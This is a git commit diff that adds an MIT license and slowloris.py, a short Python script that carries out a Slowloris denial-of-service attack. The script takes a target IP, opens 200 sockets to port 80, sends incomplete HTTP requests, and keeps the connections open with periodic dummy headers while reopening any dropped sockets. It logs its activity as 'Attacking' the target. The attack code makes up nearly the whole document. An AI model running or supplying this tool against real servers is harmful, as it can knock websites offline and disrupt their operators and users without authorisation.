First commit

LICENSE

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+Copyright (c) 2015 Gökberk Yaltıraklı
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

slowloris.py

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+import socket
+import random
+import time
+import sys
+
+log_level = 2
+
+def log(text, level=1):
+    if log_level >= level:
+        print(text)
+
+list_of_sockets = []
+
+regular_headers = [
+    "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
+    "Accept-language: en-US,en,q=0.5"
+]
+
+def init_socket(ip):
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.settimeout(4)
+    s.connect((ip,80))
+
+    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
+    for header in regular_headers:
+        s.send("{}\r\n".format(header).encode("utf-8"))
+    return s
+
+ip = sys.argv[1]
+socket_count = 200
+log("Attacking {} with {} sockets.".format(ip, socket_count))
+
+log("Creating sockets...")
+for _ in range(socket_count):
+    try:
+        log("Creating socket nr {}".format(_), level=2)
+        s = init_socket(ip)
+    except socket.error:
+        break
+    list_of_sockets.append(s)
+
+while True:
+    log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
+    for s in list_of_sockets:
+        try:
+            s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
+        except socket.error:
+            list_of_sockets.remove(s)
+    for i in range(socket_count - len(list_of_sockets)):
+        log("Recreating socket...")
+        try:
+            s = init_socket(ip)
+            if s:
+                list_of_sockets.append(s)
+        except:
+            pass
+    time.sleep(15)